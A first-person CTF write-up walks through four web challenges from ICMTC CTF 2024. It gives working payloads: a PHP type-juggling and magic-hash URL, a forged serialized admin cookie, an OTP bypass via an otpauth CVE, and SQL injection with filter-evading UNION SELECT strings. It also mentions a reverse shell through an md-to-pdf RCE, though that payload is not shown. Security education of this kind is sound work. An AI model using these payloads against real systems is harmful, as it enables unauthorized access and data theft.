ICMTC CTF 2024 (Web Exploitation)
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ
We Stand with Palestine and don’t recognize a country called Israel.
Hi everyone, I’m a web penetration tester, and I occasionally participate in CTFs. Recently, I took part in the ICMTC CTF 2024 and collaborated with my friend Mohammed Ashraf in solving 4 web challenges, let me now explain the scenario.
Compare Me
The challenge link: http://206.81.16.10:8443. After opening it, I found a highlighted PHP source code. Let’s analyze the code.
<?php
include("flag.php");
if(isset($_GET['p1'])) {
if ($_GET['p1'] == "1e3" && $_GET['p1'] !== "1e3") {
if(md5($_GET['p2']) == '0e734627975726664180692657231716') {
print($flag);
exit;
}
else {
print("Try Harder!");
exit;
}
}
}
highlight_file(__FILE__);
?>
This PHP code checks if the GET parameter p1
is equal to 1e3
and not equal to 1e3
(a type juggling vulnerability). If true, it then checks if the MD5 hash of the GET parameter p2
matches a specific hash. If both conditions are met, it prints the flag. Otherwise, it prompts Try Harder!
To exploit this code and get the flag, you need to take advantage of PHP’s type juggling. The string 1e3
(scientific notation for 1000) can be coerced to an integer in one context and remain a string in another.
For the second condition, you need to find a string that, when hashed with MD5, produces 0e734627975726664180692657231716
A string that satisfies this MD5 condition is "QNKCDZO"
(one of the well-known MD5 hash collision values).
To get the flag, use the link http://206.81.16.10:8443/?p1=1000&p2=QNKCDZO
Hidden in Plain
The challenge link: http://206.81.16.10 , it open a login page so, i don’t have any accounts to login and there wasn’t exist a registeration page so the first thing i think to try SQL injection attack as an admin and it fails
I entered a robots.txt
file to see the disallowed paths and found a path named /s3cr3t_b4ckup
. It contained the challenge source code, which automatically downloaded as a zip file.
After extracting the challenge source code, I found a file named config.php
that contained account credentials:
<?php
$valid_username = 'guest';
$valid_password = 'guest@123456';
?>
So, I logged in as a guest, and it redirected me to profile.php
.
I then opened the user.php
source code file, which contained the following:
<?php
class User {
public $username;
private $isAdmin = false;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function getPassword() {
return $this->password;
}
public function getUsername() {
return $this->username;
}
public function is_admin() {
return $this->isAdmin;
}
}
?>
I focused on private $isAdmin = false;
and thought about object injection. To get the flag, I must be an admin. So, I intercepted the request from profile.php as a guest user. The guest request contained a cookie with a parameter named login, and its value was Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjE0OiJAVXNlcgBwYXNzd29yZCI7czoxMjoiZ3Vlc3RAMTIzNDU2Ijt9
.
I decoded it as base64 and found this serialized object:
O:4:”User”:2:{s:8:”username”;s:5:”guest”;s:14:”Userpassword”;s:12:”guest@123456";}
To add the private variable isAdmin
with the value true, I modified the serialized object to include s:7:"isAdmin";b:1;
, where 'b' stands for boolean and 1 stands for true. The final modified serialized object, encoded as base64, is:
O:4:"User":3:{s:8:"username";s:5:"guest";s:7:"isAdmin";b:1;s:14:"Userpassword";s:12:"guest@123456";
After encoding it:
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjc6ImlzQWRtaW4iO2I6MTtzOjE0OiJAVXNlcgBwYXNzd29yZCI7czoxMjoiZ3Vlc3RAMTIzNDU2Ijt9
PDF Generator
This challenge was opened on an error as follows:
I navigated to robots.txt
to access the disallowed paths or files and found the challenge source code named src.zip
. When I accessed it, it downloaded automatically.
The first thing I did was look at the packages to see if there were any CVEs for them. The mdtopdf library was vulnerable to a CVE, and I found a well-known RCE exploit for the md-to-pdf library. Check this: Snyk Security Vulnerability.
After analyzing the challenge source code, the flow of the website should be like that:
Accessing the OTP Input Form:
User Action: Navigate to the /otp route.
Site Response: The endpoint displays a form where the user can input a One-Time Password (OTP).
Validate the OTP: User Action: The endpoint /validate-otp is responsible for Validating your otp
Site Response: The site validates the OTP. If the OTP is correct, the user is authenticated. The site generates a session token, sets a cookie with the token, and redirects the user to the /convert route. If the OTP is incorrect, the user is redirected back to the OTP input form with an error message.
Accessing the Markdown to PDF Conversion Form:
User Action: Navigate to the /convert route after successful OTP validation.
Bypass OTP: ok now it’s obvious that we need to bypass the OTP then exploit the RCE. But how can we bypass the OTP ? I tried the common ways but did not success and i sticked here for a few, until i searched for an exploit to otpauth library, the version of the library is not in the source code provided by the author but i tried anyway and surprisingly i success here is the CVE : https://security.snyk.io/vuln/SNYK-JS-OTPAUTH-451697
Site Response: The site displays a form where the user can input markdown text to be converted to a PDF. Submitting the Markdown for Conversion: User Action: Enter the markdown content and submit the form. Site Response: The site validates the markdown content. **But it’s a weak validation as the only it’s do is : Ensures that the markdownContent variable is not null or undefined . Ensures that the markdownContent is of type string . Ensures that the markdownContent is not an empty string or just spaces. If the content is valid, the site converts the markdown to a PDF. The site then provides the user with a downloadable PDF file. After the download, the site deletes the temporary PDF file from the server
Navigating to /otp
I tried common methods without success and got stuck for a while. Eventually, I searched for an exploit for the otpauth library. The version of the library was not provided in the source code, but I tried anyway and surprisingly succeeded.
Here is the CVE: Snyk Security Vulnerability. It’s simple: just provide the function totp.validate
with a one-digit OTP in the range of 1–9 as a token. In our web app context, we should set the POST parameter OTP with one of these values. Note that it will not always bypass on the first try, and you should try multiple times.
We were redirected to the /convert
endpoint, and now it’s time for the RCE exploit.
I tried the payload in the POC, expecting to get a PDF with the output of the command in the POC.
The result:
The author said that the function is working but, in the backend, and this is intentional, so obviously it’s out-of-bound RCE. Let’s verify:
We got a request to our webhook.
Now we should get a reverse shell. Here is the payload I used:
And successfully got a reverse shell
The flag
Restrict Vision
Upon opening the challenge, I found a login page where a user can log in using their email and password if they have an account. If not, they can register an account with a username, email, and password.
After logging in, I was redirected to the profile.php
endpoint, where I found a function to update the username.
I intercepted the request and found that there were two parameters in the cookie header. One of them, named profile_data
, contained the serialized object data related to the user as follows:
O:5:"users":3:{s:8:"username";s:4:"anas";s:5:"email";s:13:"anas@anas.com";s:2:"id";i:3945;}
When I injected a single quote after the email in the serialized object and increased the string length, it returned a SQL error as follows:
So, it is vulnerable to SQL injection, and the serialized data should be as follows:”
O:5:"users":3:{s:8:"username";s:4:"anas";s:5:"email";s:14:"anas@anas.com'";s:2:"id";i:3945;}
“So, for each character you add to the email, you must increase the string length to match the correct email value length. This query is to comment out the ID number.”
O:5:"users":3:{s:8:"username";s:4:"anas";s:5:"email";s:15:"anas@anas.com'#";s:2:"id";i:3945;}
The first thing I wanted to know was how many columns are in the table named flag
. So, I used ORDER BY
. I considered using a union-based SQL injection to retrieve the flag, but these words were filtered out. How could I bypass this?
or -> oorr
order -> oorrder
union -> uniunionon
select -> selselectect
(space) -> /**/ -> %2f**%2f
I used this payload to detect the number of columns
O:5:"users":3:{s:8:"username";s:12:"hacker0x010x";s:5:"email";s:36:"email@email.com' oorrder/**/by/**/4#";s:2:"id";i:3661;}
The query was balanced and did not return an error. When I replaced the number of columns with 5, it returned an error indicating that the flag table has four columns.
From competition hints, I knew the flag was in the flag table. To retrieve the flag, I created my payload as follows:
fake_email' union select 1,flag,3,4 from flag#
So, I tried to change the valid email to an invalid one, but each attempt was filtered out. The final serialized data must be as follows:
O:5:"users":3:{s:8:"username";s:12:"hacker0x010x";s:5:"email";s:67:"x@x.x'/**/ununionion/**/selselectect/**/1,flag,3,4/**/from/**/flag#";s:2:"id";i:3661;}
Encode it as a URL so that the final profile_data
value is as follows:
O%3a5%3a"users"%3a3%3a{s%3a8%3a"username"%3bs%3a12%3a"hacker0x010x"%3bs%3a5%3a"email"%3bs%3a67%3a"x%40x.x'/**/ununionion/**/selselectect/**/1,flag,3,4/**/from/**/flag%23"%3bs%3a2%3a"id"%3bi%3a3661%3b}